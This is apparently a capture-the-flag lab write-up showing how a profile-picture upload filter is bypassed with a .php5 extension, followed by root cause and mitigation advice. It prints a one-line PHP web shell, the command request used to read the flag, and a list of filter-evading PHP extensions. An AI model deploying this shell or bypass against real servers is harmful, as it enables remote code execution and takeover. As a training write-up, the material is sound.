Unrestricted File Upload – Remote Code Execution via PHP Extension Bypass | Crosswind

Lab Link

Lab: Crosswind

Overview

The Crosswind challenge demonstrates an Unrestricted File Upload vulnerability leading to Remote Code Execution (RCE).

The application allowed users to upload profile pictures. Instead of validating uploaded content securely, the application relied on a simple blocklist approach intended to prevent “dangerous” file types.

Because validation only attempted to reject obvious extensions, an alternative PHP extension successfully bypassed restrictions.

Once the uploaded file was interpreted by the server as executable PHP code, arbitrary operating system commands became possible.

Objective

Upload a malicious file, obtain command execution, and retrieve the flag.

Vulnerability Classification Hierarchy

OWASP Category
└── A05: Security Misconfiguration
    └── Unrestricted File Upload
        └── Dangerous File Type Execution
            └── Extension Blacklist Bypass Using Alternative PHP Extensions

Reconnaissance

After registering an account:

https://9976b8d3-4065-sidestep-49156.challenges.webverselabs-pro.com/account.php

Profile functionality exposed avatar upload capability.

File upload features frequently become attack surfaces because applications often validate only:

• File extensions
• MIME types
• Client-side restrictions

rather than actual content.

Exploitation

A simple PHP web shell was created:

<?php system($_GET['cmd']); ?>

Instead of using a common extension:

shell.php

the payload was renamed:

shell.php5

Uploaded filename:

shell.php5

The upload succeeded.

Proof of Code Execution

Uploaded file location:

https://7b82fa1e-4065-sidestep-ad5a7.challenges.webverselabs-pro.com/uploads/avatars/6-shell.php5

Opening the file returned:

Warning: Undefined array key "cmd"
in /var/www/html/uploads/avatars/6-shell.php5

This confirmed several important points:

• PHP parsing occurred
• The file executed on the server
• User-supplied PHP code was running

The warning appeared because the script expected:

$_GET['cmd']

but no parameter had been supplied.

Remote code execution was confirmed.

Retrieving the Flag

A command parameter was added:

https://9976b8d3-4065-sidestep-49156.challenges.webverselabs-pro.com/uploads/avatars/6-shell.php5?cmd=cat%20../../../../../flag.txt

Response:

WEBVERSE{.....}

Attack Flow

Avatar Upload
        ↓
Upload PHP Payload
        ↓
Extension Filter Bypass
        ↓
Server Executes File
        ↓
Remote Code Execution
        ↓
File System Access
        ↓
Flag Retrieval

Root Cause

The application likely implemented validation similar to:

$blocked = [
    ".php"
];

if(!in_array(
    extension,
    $blocked
))
{
    upload();
}

The application assumed:

Blocking .php prevents code execution

However alternative PHP extensions exist:

.php5
.phtml
.phar
.php7
.inc

The server executed these extensions as PHP.

The application failed to:

• Validate file content
• Restrict executable types
• Store uploads safely
• Prevent server-side execution

Impact

In real-world environments unrestricted file upload can lead to:

• Remote code execution
• Web shell deployment
• Credential theft
• Database compromise
• Server takeover
• Internal network pivoting
• Persistent access

File upload vulnerabilities frequently become critical findings because they often result in complete system compromise.

Mitigation

Use allowlists instead of blocklists

Bad:

deny = [".php"]

Secure:

allow = [
".jpg",
".png",
".gif"
]

Validate file signatures

Do not trust:

Filename
MIME type
Client-side validation

Inspect actual file content.

Store uploads outside the web root

Bad:

/var/www/html/uploads

Secure:

/var/uploads

Disable script execution inside upload directories

Example:

php_admin_flag engine off

or:

location /uploads {
    deny execution;
}

Rename uploaded files

Generate random names:

upload_9fd83a12.jpg

rather than preserving user-controlled filenames.

Real-World Insight

Upload functionality frequently appears in:

• Profile images
• Document portals
• Support systems
• CMS platforms
• Messaging systems
• File-sharing applications

A common assumption is:

Users only upload images

Attackers routinely bypass weak filtering through:

Alternative extensions
Double extensions
Content-type manipulation
Polyglot files
Magic-byte bypasses
Null-byte tricks

File upload functionality should always be treated as a high-risk component.